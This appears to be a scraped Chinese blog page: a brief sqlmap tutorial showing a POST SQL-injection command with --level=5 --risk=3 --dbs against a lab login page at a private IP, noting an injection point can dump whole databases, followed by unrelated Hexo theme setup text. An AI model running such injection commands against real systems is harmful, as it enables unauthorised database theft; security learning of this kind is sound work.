https://www.python.org/downloads/
使用python 2.x即可
http://sqlmap.org/
解压到本地磁盘即可
例如：通过存在的注入点扫描出有哪些数据库，还可通过该注入点把整个数据库的数据下载到本地，基本上只要是拼字符串的sql都存在注入问题
post注入
使用 –data参数
sqlmap -u “192.168.216.147/checklogin.php” –data “myusername=admin&mypassword=admin&Submit=Login” –level=5 –risk=3 –dbs
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是yilia根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：
jsonContent:
meta: false
pages: false
posts:
title: true
date: true
path: true
text: false
raw: false
content: false
slug: false
updated: false
comments: false
link: false
permalink: false
excerpt: false
categories: false
tags: true